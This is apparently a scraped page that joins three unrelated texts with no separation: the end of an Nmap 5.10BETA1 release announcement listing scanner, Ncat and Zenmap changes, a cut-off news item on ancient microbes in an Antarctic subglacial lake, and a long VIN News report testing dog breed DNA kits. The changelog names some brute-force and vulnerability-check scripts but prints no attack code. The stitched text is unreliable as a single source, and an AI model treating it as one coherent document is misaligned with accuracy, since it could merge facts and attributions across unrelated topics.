directory is now installed. It was not installed before because of an error in the Makefile. The scripts that would not have worked after installation because they were missing data files are http-enum.nse, http-favicon.nse, http-iis-webdav-vuln.nse, http-userdir-enum.nse, smb-pwdump.nse, pop3-brute.nse, smb-brute.nse, and snmp-brute.nse. [David] o Upgraded the included libpcap to 1.0.0. [David] o Optimize MAC address prefix lookup by using an std::map rather than a custom hash table. This increases performance and code simplicity at the cost of some extra memory consumption. In one test, this reduced the time of a single target ARP ping scan from 0.59 seconds to 0.13. [David] o Added -Pn and -sn as aliases for -PN and -sP, respectively. They will eventually become the recommended and documented way to disable host discovery (ping scanning) and port scanning. They are more consistent and also match the existing -n option for disabling reverse DNS resolution. [David] o Fixed an error in the handling of exclude groups that used IPv4 ranges. Si Stransky reported the problem and provided a number of useful test cases in http://seclists.org/nmap-dev/2009/q4/276. The error caused various assertion failures along the lines of TargetGroup.cc:465: int TargetGroup::get_next_host(sockaddr_storage, size_t): Assertion `ipsleft > 1' failed. [David] o [NSE] Improved the authentication used by the smb-* scripts. Instead of looking in a bunch of places (registry, command-line, etc) for the usernames/passwords, a table is kept. This lets us store any number of accounts for later use, and remove them if they stop working. This also fixes a bug where typing in a password incorrectly would lock out an account (since it wouldn't stop trying the account in question). [Ron] o Removed IP ID matching in packet headers returned in ICMP errors. This was already the case for some operating systems that are known to mangle the IDs of sent IP packets. Requiring such a match could occasionally cause valid replies to be ignored. See http://seclists.org/nmap-dev/2009/q2/580 for an example of host order affecting scan results due to this phenomenon. [David] o [NSE] The HTTP library now handles chunked transfer decoding more robustly. See http://seclists.org/nmap-dev/2009/q3/13 [David] o [NSE] Unexpected error messages from scripts now include the target host and port number. [David] o [NSE] Fixed many libraries which were inappropriately using global variables, meaning that multiple scripts running concurrently could overwrite each others values. NSE now automatically checks for this problem at runtime, and we have a static code checker (check_globals) available as well. See this whole thread http://seclists.org/nmap-dev/2009/q3/70. [Patrick] o Added some additional matching rules to keep a reply to a SYN probe from matching an ACK probe to the same port, or vice versa, in ping scans that include both scan types. Such a mismatch could cause an ineffective timing ping or traceroute probe to be selected. [David] o [Zenmap] There is a new command-line option, --confdir, which sets the per-user configuration directory. Its value defaults to $HOME/.zenmap. This was suggested by Jesse McCoppin. [David] o Open bpf devices in read/write mode, not read-only, in libdnet on BSD. This is to work around a bug in Mac OS X 10.6 that causes incoming traffic to become invisible. [David] o "make install" now removes from the Nmap script directory some scripts which only existed in previous versions of Nmap but weren't deleted during upgrades. [David] o [NSE] Added the reconnect_ssl method for sockets. We sometimes need to reconnect a socket with SSL because the initial communication on the socket is done without SSL. See this thread for more details: http://seclists.org/nmap-dev/2009/q4/3 [Patrick, Tom Sellers] o [Zenmap] Fixed a crash that could occur when entering certain characters in the target entry (those whose UTF-8 encoding contains a byte that counts as whitespace in the Windows locale): File "zenmapGUI\ScanNotebook.pyo", line 184, in _target_entry_changed File "zenmapCore\NmapOptions.pyo", line 719, in render_string UnicodeDecodeError: 'utf8' codec can't decode byte 0xc3 in position 1: unexpected end of data For more details on this curious problem, see http://seclists.org/nmap-dev/2009/q4/82 [David] o [NSE] There is a new function, nmap.bind, to set the source address of a socket. [David] o [Nsock] Made it a fatal error instead of silent memory corruption when an attempt is made to use a file descriptor whose number is not less than FD_SETSIZE. This applies only on non-Windows platforms where FD_SETSIZE is a limit on the value of file descriptors as well as a limit on the number of descriptors in the set. The error will look like nsock_core.c:186: Attempt to FD_SET fd 1024, which is not less than FD_SETSIZE (1024). Try using a lower parallelism. Thanks to Brandon Enright for discovering the problem and much help debugging it, and to Jay Fink for submitting an initial patch. [David] o [Ncat] Fixed proxy connections in connect mode on Windows. Because the dup function does not work on Windows, an assertion failure would be raised reading (fh >= 0 && (unsigned)fd < (unsigned)_nhandle) [David] o [Ncat] Fixed the combination of --max-conns and --exec on Windows. The count of connected clients was not decreased when the program spawned by --exec finished. With --max-conns 5, for example, no more connections would be allowed after the fifth, even if some of the earlier ones had ended. Jon Greaves reported the problem and Venkat contributed a patch. o [Ncat] The code that manages the count of connected clients has been made robust with respect to signals. The code was contributed by Solar Designer. o The files read by the -iL (input from file) and --excludefile options now support comments that start with # and go to the end of the line. [Tom Sellers] o [Zenmap] On Windows, Zenmap no longer uses the cmd.exe shell to run Nmap sub-processes. This means that canceling a scan will kill the Nmap process as it does on other platforms (previously it would just kill the shell). It also means that that scanning will work as a user whose name contains characters like '&' that are significant to the shell. Mike Crawford and Nick Marsh reported bugs related to this. [David] o [NSE] All scripts (except for those in "version" or "demo" categories) are now classified in either the "safe" or "intrusive" categories, based on how likely they are to cause problems when run against other machines on the network. Those classifications already existed, but weren't used consistently. [Fyodor] o Added a check for a SMBv2 vulnerability (CVE-2009-3103) to smb-check-vulns. Due to its nature (it performs a DoS, then checks if the system is still online), the script isn't run by default and requires a special script-arg to work. See http://nmap.org/nsedoc/scripts/smb-check-vulns.html. [Ron] o Fixed an integer overflow in uptime calculation which could occur when a target with a low TCP timestamp clock frequency uses large timestamp values, such that a naive uptime calculation shows a boot time before the epoch. Also fixed a printf format specifier mismatch that was revealed by the bug. Toby Simmons reported the problem and helped with the fix. [David] o [NSE] The HTTP library now supports HTTP cookies. [Joao Correa] o Fixed a compile error on NetBSD. It was tcpip.cc:2948: error: pointer of type 'void ' used in arithmetic Thanks to Jay Fink for reporting the problem and submitting a patch. o [Zenmap] If you have any hosts or services selected, they will remain selected after aggregating another scan or running a filter (as long as they are still up and visible). Previously the selection was lost whenever the scan inventory was changed. This is particularly important due to the new host filter system. [David] o [Zenmap] New translation: Russian (contributed by Alexander Khodyrev). Updated translations: French and German. o Nmap now generates IP addresses without duplicates (until you cycle through all the allowed IPs) thanks to a new collision-free 32-bit number generator in nbase_rnd.c. See http://seclists.org/nmap-dev/2009/q3/695 [Brandon] o There is a new OS detection pseudo-test, SCAN.DC, which records how the network distance in SCAN.DS was calculated. Its value can be "L" for localhost, "D" for a direct connection, "I" for an ICMP TTL calculation, and "T" for a traceroute hop count. This is mainly for the benefit of OS integration, when it is sometimes important to distinguish between DS=1%DC=I (probably the result of forged TTLs) and DS=1%DC=D (a true one-hop connection.) [David] o Canonicalized the list of OS detection device types to a smaller set with descriptions: http://nmap.org/svn/docs/device-types.txt. [David, Fyodor, Doug] o [Ncat] The --idle-timeout option now exits when both* stdin and the socket have been idle for the given time. Previously it would exit when either of them had been idle, meaning that the program would quit contrary to your expectation when downloading a large file without sending anything, for example. [David] o [Ncat] Ncat now always prefixes its own output messages with "Ncat: " or "NCAT DEBUG: " to make it clear that they are not coming from the remote host. This only matters when output goes to a terminal, where the standard output and standard error streams are mixed. [David] o Nmap's Nbase library now has a new hexdump() function which produces output similar to Wireshark. nmap_hexdump() is a wrapper which prints the output using Nmap's log_write facility. The old hdump() and lamont_dump() functions have been removed. [Luis] o Added explicit casts to (int)(unsigned char) for arguments to ctype function calls in nmap, ncat and nbase. Thanks to Solar Designer for pointing out the need and fix for this. [Josh] o Ncat now supports wildcard SSL certificates. The wildcard character () can be in commonname field or in DNS field of Subject Alternative Name(SAN) Extension of SSL certificate. Matching Rules: -'' should be only on the leftmost component of FQDN.(.example.com but not www..com or www.example.com). -The leftmost component should contain only '' and it should be followed by '.'(.example.com but not w.example.com or w.example.com). -There should be at least three components in FQDN.(.exmaple.com but not .com or .com.).[venkat] o Nmap now handles the case when a primary network interface (venet0) does not have an address assigned but its aliases do (venet0:1 etc.). This could result in the error messages Failed to find device venet0 which was referenced in /proc/net/route Failed to lookup subnet/netmask for device (venet0): venet0: no IPv4 address assigned This was observed under OpenVZ. [Dmitry Levin] o [Ncat] The --ssl-cert, --ssl-key, and --ssl-trustfile options now automatically turn on SSL mode. Previously they were ignored if --ssl was not also used. [David] o [Nsock] Now Nsock supports pure TLSv1 and SSLv3 servers in addition to the (already supported and far more common) SSLv2 and SSLv23 servers. Ncat currently never uses SSLv2 for security reasons, so it is unaffected by this change. o [Ncat] Implemented basic SCTP client functionality (server already exists). Only the default SCTP stream is used. This is also called TCP compatible mode. While it allows Ncat to be used for manually probing open SCTP ports, more complicated services making use of multiple streams or depending on specific message boundaries cannot be talked to successfully. [Daniel Roethlisberger] o [Ncat] Implemented SSL over SCTP in both client (connect) and server (listen) modes. [Daniel Roethlisberger] o Nmap now filters received ARP packets based on their target address address field, not the destination address in the enclosing ethernet frame. Some operating systems, including Windows 7 and Solaris 10, are known to at least sometimes send their ARP replies to the broadcast address and Nmap wouldn't notice them. The symptom of this was that root scans wouldn't work ("Host seems down") but non-root scans would work. Thanks to Mike Calmus and Vijay Sankar for reporting the problem, and Marcus Haebler for suggesting the fix. [David] o The -fno-strict-aliasing option is now used unconditionally when using GCC. It was already this way, in effect, because a test against the GCC version number was reversed: <= 4 rather than >= 4. Solar Designer reported the problem. o Nmap now prints a warning instead of a fatal error when the hardware address of an interface can't be found. This is the case for FireWire interfaces, which have a hardware address format not supported by libdnet. Thanks to Julian Berdych for the bug report. [David] o Zenmap's UI performance has improved significantly thanks to optimization of the update_ui() function. In particular, this speeds up the new host filter system. [Josh] o Add a service probe for DNS-based service discovery (DNS-SD). See http://seclists.org/nmap-dev/2009/q3/0610.html. [David] o Made RPC grinding work from service detection again by changing the looked-for service name from "rpc" to "rpcbind", the name it has in nmap-service-probes. Also removed some dead code. [David] o Fixed a log_write call and a pfatal call to use a syntax which is safer from format strings bugs. This allows Nmap to build with the gcc -Wformat -Werror=format-security options. [Guillaume Rousse, Dmitry Levin] o A bug in Nsock was fixed: On systems where a non-blocking connect could succeed immediately, connections that were requested to be tunneled through SSL would actually be plain text. This could be verified with an Ncat client and server running on localhost. This was observed to happen with localhost connections on FreeBSD 7.2. Non-localhost connections were likely not affected. The bug was reported by Daniel Roethlisberger. [David] o Ncat proxy now hides the proxy's response ("HTTP/1.0 200 OK" or whatever it may be). Before, if you retrieved a file through a proxy, it would have the "HTTP/1.0 200 OK" stuck to the top of it. For this Ncat uses blocking sockets until the proxy negotiation is done and once it is successful, Nsock takes over for rest of the connection.[Venkat] o [NSE] socket garbage collection was rewritten for better performance and to ensure that socket slots are immediately available to others after a socket is closed. See http://seclists.org/nmap-dev/2009/q2/0624.html. [Patrick] o [NSE] Fixed a rare but possible segfault which could occur if the nsock binding attempted to push values on the stack of a thread which had already ended due to an error, and if that internal Lua stack was already completely full. This bug is very hard to reproduce with a SEGFAULT but is usually visible when Lua assertion checks are turned on. A socket handler routine must be called AFTER a thread has ended in error. [Patrick] o [Ncat] Fixed an error that would cause Ncat to use 100% CPU in broker mode after a client disconnected or a read error happened. [Kris, David] o [NSE] --script-args may now have whitespace in unquoted strings (but surrounding whitespace is ignored). For example, --script-args 'greeting = This is a greeting' Becomes: { ["greeting"] = "This is a greeting" } [Patrick] o [Ncat] Using --send-only in conjunction with the plain listen or broker modes now behaves as it should: nothing will be read from the network end. Ncat previously read and discarded any data received. [Kris] o [Nsock] Added a socket_count abstraction that counts the number of read or write events pending on a socket, for the purpose of maintaining an fd_set. The bit is set in the fd_set whenever the count is positive, and cleared when it is zero. The reason for doing this was that write bits were not being properly cleared when using Ncat with SSL in connect mode, such that a client send would cause Ncat to use 100% CPU until it received something from the server. See the thread at http://seclists.org/nmap-dev/2009/q2/0413.html. This change will also make it easier to use a different back end than select in the future. [David] o [Nsock] Added compilation dependency generation (makefile.dep) [David] o [Ncat] The --broker option now automatically implies --listen. [David] o Fixed a logic error in getinterfaces_siocgifconf. The check for increasing the capacity of the list of interfaces was off by one. This caused a crash on initialization for systems with more than 16 network interfaces. [David] o Added Apache JServe protocol version detection probe and signatures and some some other nmap-service-probes patches. [Tom Sellers] o Fixed two memory leaks in ncat_posix.c and a bug where an open file was not being closed in libdnet-stripped/src/intf.c [Josh Marlow] o [Zenmap] Added profile editor support for the Nmap SCTP options: -PY, -sY and -sZ. [Josh Marlow] o Fixed a bug in --data-length parsing which in some cases could result in useless buffer allocations and unpredictable payload lengths. See http://seclists.org/nmap-dev/2009/q2/0763.html [Luis] o The configure script now allows cross-compiling by assuming that libpcap is recent enough to use rather than trying to compile and run a test program. Libpcap will always be recent enough when Nmap's included copy is used. [Mike Frysinger] o Updated the IANA assignment IP list for random IP (-iR) generation. The Mac OS prefix file was updated as well. [Kris, Fyodor] o [Zenmap] Fix a bug which could cause a crash in the (very rare) case where Nmap would produce port tags in XML output without a state attribute. [David] o Added a convenience top-level BSDmakefile which automatically redirects BSD make to GNU make on BSD systems. The Nmap Makefile relies on numerous GNU Make extensions. [Daniel Roethlisberger] Enjoy the new release! -Fyodor _______________________________________________ Sent through the nmap-dev mailing list http://cgi.insecure.org/mailman/listinfo/nmap-dev Archived at http://seclists.org/nmap-dev/ By Date By Thread Current thread: Nmap 5.10BETA1 released Fyodor (Nov 23) Re: Nmap 5.10BETA1 released Walt Scrivens (Nov 24) Re: Nmap 5.10BETA1 released David Fifield (Nov 24) Fyodor (Nov 23)British researchers have discovered evidence of diverse life forms, dating back more than 100,000 years, in sediments of a subglacial lake on the Antarctic Peninsula. Hodgson Lake is 305 feet deep and 1.2 miles long by 0.93 miles wide. It was covered by more than 1,300 feet of ice at the end of the last Ice Age, but is now considered to be an emerging subglacial lake, with a thin covering of just 11.5 feet of ice. The lake was thought to be a harsh environment for any form of life but the layers of mud at the bottom of the lake represent a time capsule storing the DNA of the microbes which have lived there throughout the millennia. Drilling through the ice the team used clean coring techniques to delve into the sediments at the bottom of Hodgson Lake. The top few inches of cores contained current and recent organisms which inhabit the lake – two Streptomyces sp., three Sporosarcina sp. and fifteen Arthrobacter sp. But once cores reached 10.5 feet deep the microbes found most likely date back nearly 100,000 years. “What was surprising was the high biomass and diversity we found. This is the first time microbes have been identified living in the sediments of a subglacial Antarctic lake and indicates that life can exist and potentially thrive in environments we would consider too extreme,” said Dr David Pearce of the University of Northumbria, who is a lead author of a
that knowing breed background enables owners and their veterinarians to better target a dog’s health care, alerting them to watch for diseases to which the dog’s breeds are prone. Hughes often tells a story of her own dog, Rimsky, whom she adopted as an older puppy from a shelter in Sacramento, Calif. The shelter called him a border collie because he was white with black spots, but when his weight topped out around 20 pounds and he developed a feathered coat, Hughes described him as "an overgrown papillon." At age 5, Rimsky had an episode of frantic scratching at his face and seemed to be choking. Hughes rushed him to an emergency hospital but even before they arrived, he appeared to fully recover, and no cause for his distress could be found. Six months later, Rimsky had a grand mal seizure. Eventually, he was diagnosed with epilepsy. Hughes believes now that during the face-scratching episode, Rimsky was having a smaller seizure. Years later, when the breed test became available, she tested him. The result said he was part cocker spaniel, part Maltese and other blends. “It made so much more sense,” Hughes said, because cocker spaniels are prone to epilepsy. Had she known his breeds earlier, she may have made the connection to his condition sooner, she said, resulting in less anxiety for her and earlier treatment for him. Hughes’ personal experience notwithstanding, the notion of tailoring medical care to the results of a DNA mixed-breed lineage test is not widely held. Casal, the veterinary geneticist from UPenn, suggested it is driven more by marketing than science. She said that a dog made up in large measure of one breed might be predisposed to health conditions particular to that breed, but such dogs are likely to be identifiable without needing a DNA test. “If your dog comes back, for example, 80 percent poodle, then you might actually worry about Addison’s,” she said, speaking of an adrenal-gland disease common to poodles. But in that case, the dog would be apt to look like a poodle, she said. Its veterinarian, therefore, probably already would be on the lookout for health conditions associated with poodles. Test makers also maintain that knowing a dog’s breed background can make training it easier. Veterinary behaviorists consulted by the VIN News Service said that may be true up to a point. Dr. Laurie Bergman, a specialist in veterinary behavior, said: “I guess it can help somewhat in terms of helping owners have a better understanding of their dogs but even with purebreds you do get variations in behaviors, even the behaviors that those breeds were selected for.... “More important than a breed test in successfully training any dog is understanding positive reinforcement training,” Bergman said. “... Find what motivates your dog (which may or may not be shaped by breed) and use that to reward the dog.” Another behavior specialist and consultant, Dr. Ellen Lindell, had a somewhat different take. “It could indeed be helpful to know the breed background of your dog,” she said. "We have bred certain types of dogs, to be called purebred, and to exhibit useful behaviors in a somewhat predictable manner," she elaborated. "Some terriers may herd sheep, but if you have plans to participate in herding trials or need a dog to manage livestock on your farm, you would probably seek a dog from the herding group, rather than rely on the hope that your digger/rodent-killer might want a side job herding sheep." She continued: "Purebred dogs were separated into groups based on their functions, not on appearance." For instance, she said, "Since terriers and hounds work independently, they might not be as sensitive to owner cues. Herding dogs are ultra vigilant — bred to follow subtle movements and notice all sounds. Inexperienced owners might not give these dogs enough information. Most dogs in the working group were bred to guard, so if a person with a working dog wants an open-door policy, then that person will need to work extra hard to teach the dog that everyone is welcome. So yes, it can help people to know what to expect so (as to) make better matches and help establish reasonable goals." But she cautioned that breed isn't a sole determinant. “Of course there can be variation within a breed," Lindell said. "Each individual dog should always be evaluated based on his own behavior.” On a message board of the Veterinary Information Network (VIN), an online community for the profession, veterinarians reported a variety of results in friends, clients’ and their own dogs. Some were plausible and some were wacky.On the wacky side was an 80-pound dog whose mother was known to be a Labrador retriever that tested as mostly miniature poodle plus Yorkshire terrier.There was a pedigreed dachshund who turned up as predominantly Siberian husky, with a dash of dachshund and Ibizan hound.There was a dog that looked classically Chihuahua that came back as “an extremely complex mixed-breed dog... (with) distant traces of Afghan hound, Cavalier King Charles spaniel and toy fox terrier.”And so on.Five years since companies introduced commercial dog breed identification genetic tests, veterinarians continue to wonder if the tests are valid. Hoping to find the answer, the VIN News Service put the tests to the test.We submitted DNA samples on six dogs to compare the results and check for consistency. We knew the breed backgrounds of four of the dogs, so were able to determine whether the tests gave correct answers.When we started the project, five tests were available. Four were variations of Wisdom Panel, which is owned by Mars Veterinary. The fifth test was Canine Heritage by Scidera, LLC.What we found: Wisdom Panel was the superior competitor. Though not flawless, the test tended to give reasonable and usually consistent, if not necessarily enlightening, results. Veterinary geneticists we consulted also pointed to Wisdom Panel as the most scientifically reputable.“Mars, I know, is constantly reviewing and analyzing and upgrading what they’re doing,” said Dr. Jerold Bell, a clinical associate professor of genetics at Tufts University Cummings School of Veterinary Medicine. “They’re one of the few that have done the research and continue to do the research to make it as scientifically valid as possible.”In its early days, the test was nicknamed “Witless” by some skeptical veterinarians. Wisdom Panel’s more dependable results today may be a product of improvements developed over the years, chiefly expansion of the company’s breed database.The concept of determining a dog’s breed background by analyzing its DNA is grounded in science. In a paper published in the journal Science in 2004, canine geneticist Elaine Ostrander and colleagues described a technique they developed for identifying dog breeds based on genetic markers. Ostrander, who currently works at the National Human Genome Research Institute, part of the National Institutes of Health, described the approach, along with her broader work on the canine genome, in an article published in 2007 by American Scientist.The markers the researchers used are not genes themselves, but repeating sequences of DNA known as microsatellites. The commercial tests use a different kind of marker known as single-nucleotide polymorphisms — abbreviated SNPs and pronounced like "snips” — that are small mutations within the genome. Whether using microsatellites or SNPs, the markers, taken together, form signatures particular to each breed.Because the identification technique is not based on genes, it does not specifically relate to physical or behavioral traits that characterize particular breeds. In other words, the technique doesn’t recognize a bulldog by finding the genes that give it a snub nose, beefy head and squat stature.Consequently, breeds that are vastly different in appearance might, by chance, have similar genetic signatures, which helps explain some head-scratching results. For example, portions of the signatures of Chihuahuas and some mastiff breeds are maddeningly similar, according to Dr. Angela Hughes, a veterinarian and geneticist at Mars Veterinary.On the other hand, some breed combinations truly result in dogs that resemble other breeds entirely. Hughes recalled a case of a dog that looked like a black Labrador retriever that tested as a golden retriever mix, which made sense to her as a geneticist.“You can lose that longer coat in one generation,” she explained. “Goldens carry a black gene. They don’t express it in their coat because the yellow gene blocks all black. They do express it in their nose, eye rims and the pads of their feet. But the golden is recessive. So if you breed a golden retriever to a dog that doesn’t have the genes for yellow and long hair, you’re likely to have a black dog with a short coat.”In a similar vein, test results suggesting pairings of large with small dogs may raise doubts but such combinations aren’t impossible, Hughes said. She explained: “The larger female will lie down” for the mating.Breeds have distinctive genetic signatures owing to the fact their members are genetic isolates — that is, bred from a limited population of dogs. The more unique the breed characteristics, the easier to identify a breed's members via their DNA. Explained Dr. Urs Giger, a veterinarian who heads the clinical program in medical genetics and pediatrics at the University of Pennsylvania (UPenn) School of Veterinary Medicine: “The more you’re inbreeding... that will clearly make the genes among the dogs more similar.”A mixed-breed dog whose parents or grandparents are purebred generally is easier to identify than a dog descended from generations of mixes.Giger said improvements in DNA-based breed identification may contribute to the development of genetic tests for medical conditions. “The mixed-breed test is the first complex-trait test and thereby is showing the way (for) testing for other complex traits, like hip dysplasia, in the future,” he said.The science of dog-breed detection may be solid, but that doesn’t mean any given DNA test is reliable. Its accuracy depends upon the quality of information upon which the analysis is based.For example, when the Canine Heritage test debuted in early 2007 as the first such test on the consumer market, it detected 38 breeds. Results for any dog with a background outside of those 38 breeds would have been inconclusive.Wisdom Panel launched in fall 2007 with 134 breeds. Now Canine Heritage is up to 120 breeds, while Wisdom Panel lists 203 In setting out to test the tests, the VIN News Service surveyed the market to determine how many competing tests were available in the United States. Looking at website domain names, there appeared to be multiple options. On closer examination, we discovered the websites led to only two test brands. They have sites under their own names — www.canineheritage.com and www.wisdompanel.com — plus others. For example, www.dog-dna.com peddles the Canine Heritage test. The site www.whatsmydog.com and www.happydogdna.com promote Wisdom Panel.A third laboratory, BioPet, whose dog breed DNA tests were sold under the brand names BioPet and PetSafe, left the market last year in the face of a patent infringement suit pressed by Mars and the patent owners.At the outset, Mars obtained an exclusive license from Fred Hutchinson Cancer Research Center and Argus Genetics, LLC, on their patent-pending process of discerning the breeds in a mixed-breed dog through DNA analysis. (Ostrander and team worked at Fred Hutchinson at the time they invented the process.) After the U.S. patent was granted in 2010, Mars took BioPet, PetSafe and the owner of Canine Heritage to court.Soon, Mars' dominance will be complete: Canine Heritage is leaving the market. Mars is acquiring the test, according to Canine Heritage spokeswoman Anna Rogatkin. The Canine Heritage website states that the laboratory will coordinate with Mars to continue processing samples submitted within 90 days, starting June 19.At the time our project began, we still had two different laboratories to compare. We looked at Canine Heritage’s single test aimed at mixed-breed dogs and Wisdom Panel’s four tests.The original Wisdom Panel test is a “professional” version that must be purchased through a veterinarian and requires a veterinarian’s services in taking and submitting a blood sample. The resulting report is more detailed and includes information for the veterinarian about medical conditions to which the identified breeds are prone.In 2009, Wisdom Panel introduced a mixed-breed test like Canine Heritage’s. Both are do-it-yourself tests in that the dog owner or handler collects the DNA via a “cheek swab” using a small brush run along the inside of the dog’s cheek. Test kits come with brushes and return envelopes.In 2011, Wisdom Panel introduced two new variations. One is for purebred dogs, the other for designer dogs, which are deliberate crosses of two purebred dogs along the lines of Labradoodles (Labrador retriever-poodle mix) and puggles (pug-beagle mix). The purebred and designer dog tests use cheek swab samples.In terms of the quality of DNA extracted from cheek swabs versus blood, there is no difference, according to Bell, the veterinary geneticist at Tufts.“We do cheek-swabbing all the time. I think the validity of cheek swabs is pretty high,” Bell said. “It’s pretty hard to mess up a cheek swab. At most, they don’t get DNA. It’s not that they get the wrong DNA or DNA from what the dog just ate.”We started with a pilot phase, putting two dogs through all five tests each. The dogs were Tag and Finn. Tag is a purebred standard poodle registered with the American Kennel Club (AKC). Finn is a short-haired black-and-white mutt who was picked up as a stray. He was billed as border collie-spaniel mix but that was a guess on the part of the rescue group that put him up for adoption. Tag came back as all-poodle on the Canine Heritage test and on the Wisdom Panel professional and purebred tests. But results from the mixed-breed test detected breeds in addition to poodle — namely, Labrador retriever, Pembroke Welsh corgi, shih tzu, Tibetan spaniel and miniature poodle.Wisdom Panel Professional is designed to pick out the breeds in a mutt just like the mixed-breed do-it-yourself kit. However, we found in Tag’s case that the professional test brought more detailed scrutiny. As the letter to his owner explained:“When we analysed (this dog’s) DNA data with the Wisdom Panel Professional computer analysis, the ancestry chart only appeared to contain Standard Poodle. To confirm this, we performed a complimentary Wisdom Panel Purebred analysis, and (the) results are indeed consistent with the purebred Standard Poodle samples in the Wisdom Panel database.”Hughes, the veterinary genetics research manager for Wisdom Panel, reviewed Tag’s results afterward with the VIN News Service. She explained that customers who pay the premium for the professional product get more information, along with additional breed tests if the results warrant.Tag’s designer test results differed from his purebred and professional test results. When submitting the sample, the customer must specify what two breeds the dog is supposed to be. Tag’s owner specified poodle and Labrador retriever. The results correctly said he wasn’t equal parts poodle and Lab, but it did show some Lab in his background, along with an unspecified mix.Hughes said the next-best breed match after poodle in Tag’s genetic signature happened to be Labrador. “The Labrador comes out very, very low, at the great-grandparent level,” she said. “Our test protocols would therefore not consider this a true Labradoodle."She allowed that the Labrador finding was low enough that it could be a false positive.Hughes noted that Wisdom Panel had an accuracy rate of greater than 90 percent in more than 200 tests of mixed-breed dogs with known ancestry. The validation-test dogs were offspring of purebred parents of differing breeds. Hughes acknowledged that pinpointing more complex mixes than first-generation crosses is difficult, but added, “We believe that we are good at this, as well."Our second pilot test dog, Finn, a mix of unknown lineage, came up with consistent Wisdom Panel results. Every test of that brand identified him as predominantly boxer, plus Akita, Australian kelpie and a light blend of other breeds.Canine Heritage agreed that the chief detectable breed in Finn is boxer. That test identified Australian shepherd and Norwich terrier “in the mix.”“Boxers are pretty inbred, so it’s not hard to identify them,” Hughes said. “They have a pretty strong signature.”Initially, we planned to repeat some tests on the same dogs to check for consistency. However, in testing Tag and Finn, we learned that the people at Wisdom Panel could tell when they’d seen a dog previously, even though we submitted each sample under a different name — assigning pseudonyms to the dogs and tapping friends and family to send in samples for us. With results of successive tests, the lab wrote: “Our analysis of the DNA of this sample indicates that we have tested the DNA from this dog before...”Asked whether early results from a dog undergoing repeated testing is factored into successive tests, Hughes acknowledged that they may be. “When a sample is received that we have seen before, the data from both samples is tested independently and then combined such that any missing (genetic information) from one sample can potentially be filled by the other – basically we get a consensus set of the data and that is also analyzed,” she said. “Therefore, a previous sample may influence a second sample but they are all independently assessed as well.”Expanding our pool of test subjects, we recruited two dogs from a research colony at UPenn with the help of Dr. Margret Casal, an associate professor of medical genetics, pediatrics, and reproduction at UPenn’s School of Veterinary Medicine.The beauty of the research dogs is that they are crossbreeds of known lineage. As with Tag, we could see whether the tests delivered the correct answer.Because of Wisdom Panel’s ability to detect repeat samples, we opted to run the dogs through just one of their tests — the mixed-breed cheek-swab version — plus Canine Heritage.Casal provided a precise rundown on the dogs’ backgrounds. The trickiest mix came in the form of Salem, who is “exactly 68.4 percent beagle, 14.4 percent German shepherd, 9.4 percent giant schnauzer and 7.8 percent basset,” she told us.Wisdom Panel found the beagle in Salem, along with a touch of German shepherd. But it also detected Ibizan hound in her background, a finding that made Casal chuckle.“Hmm, there were never any of those in our colony, so I am not sure where this came from,” she commented.Wisdom Panel provides an ancestry chart going back three generations that it says “best fits the DNA marker pattern observed.” Salem’s result demonstrates that such charts should not be accepted as a precise family tree but merely a guideline when dealing with complex mixes. The chart shows one of her parents as purebred beagle. Casal said Salem's maternal grandmother was a purebred beagle but not her parents.Overall, though, Wisdom Panel did much better with Salem than its competitor, Casal concluded, noting, “The Canine Heritage test failed to even recognize the beagle!!”That test discerned no primary breeds. It named German shepherd as a secondary breed, and Chesapeake Bay retriever as “in the mix.”Rogatkin of Canine Heritage suggested that Salem’s DNA signature may have been harder to decipher because she comes from a research colony that is genetically isolated from, and therefore genetically dissimilar to, the pet beagle population.That may be, Casal said, but she pointed out that Mars’ Wisdom Panel had no trouble with Salem. “That shows the Mars database is much bigger and thus more powerful,” she said.The other dog we tested from UPenn was Solara, whose mother is purebred golden retriever and father is purebred English springer spaniel from Australia.Wisdom Panel identified both breeds plus a minority blend of other breeds. Canine Heritage found golden retriever only, possibly indicating that Australian-bred English springer spaniels were not in its database, Casal said.Our fifth test dog was Annie. Like Solara, Annie is a cross of two known purebreds. Her owner, Carl Doby, obtained her from a breeder whose pedigreed Australian shepherd had an unauthorized liaison with a certified Jack Russell terrier.Wisdom Panel identified Annie as half rat terrier, one-quarter border collie and one-quarter potpourri.Doby was impressed with Wisdom Panel’s presentation of Annie’s results (“They emailed me a lot of stuff — charts and bloodlines”) and said he would recommend the test to others. He found the results reasonable because of the close relationship between rat terriers and Jack Russells, and the similarities between Australian shepherds and border collies.Reviewing Annie’s results, Hughes commented, “You could not have picked two more difficult breeds due to their diversity” as the Jack Russell and Australian shepherd.In Australian shepherds, she said, field lines and show lines diverge.As for the Jack Russell, she said, its genetic signature clusters closely with that of the rat terrier, toy fox terrier and, to some degree, Chihuahua. Jack Russells themselves are “not a very consistent breed,” she said. The breed is not recognized by the AKC — the pre-eminent purebred registry in the United States. Annie’s mother’s purebred certification is from the Continental Kennel Club (CKC).Canine Heritage identified no primary or secondary breeds in Annie; only Pembroke Welsh corgi “in the mix.”Canine Heritage spokeswoman Rogatkin told the VIN News Service that Annie might not be the cross Doby believes her to be, considering the source of her certification. “A purebred dog has a very exact breeding history if you’re with a rigorous and demanding registry, for example, AKC,” she said. “Different registries have different demands. The CKC is by far not as rigorous.”Doby separately contacted Canine Heritage to discuss Annie’s results and came away dissatisfied. “I called them to tell them how far they were off,” he said. “I told them I had papers on the mom and dad and they got offended and said I didn't know what I was talking about.”The final dog we tested was Laika. Her owner, Dr. Maureen Roberts, is a veterinarian in California who tested Laika in 2007 when Canine Heritage first became available. We repeated that test to see if the results would be consistent, and to compare the results with Wisdom Panel’s. Here’s what we got:: Canine Heritage reported Chinese shar-pei, Akita, Siberian husky and border collie as secondary breeds.: Canine Heritage reported Siberian husky as a secondary breed, with border collie and Bernese mountain dog “in the mix.”: Wisdom Panel determined Laika to be half Siberian husky and a melange of other breeds, possibly bull terrier, shiba inu, basenji, dachshund and greyhound.Roberts found the results no more informative than her own guess about Laika’s lineage.“Based on looking at Laika, I know she is a husky mix, but I don’t know what she is mixed with,” Roberts said. Of the possible breeds named in the three tests, the only one she finds believable is border collie.From her experience, Roberts would not recommend DNA testing to determine breed. “I don’t think the test really tells us anything more than we can tell just by looking at the dog and making a guess,” she said. “Since I got different results even with the same company, it makes me pretty skeptical.”In the midst of our project, we became aware of another dog that by chance was tested twice. The dog, Sidney, belongs to Dr. Luis Tarrido and his wife, Dr. Kelly Czech, veterinarians in New York state.Using the Wisdom Panel Professional kit, they mailed a blood sample from Sidney that got lost in transit. Wisdom Panel provided a 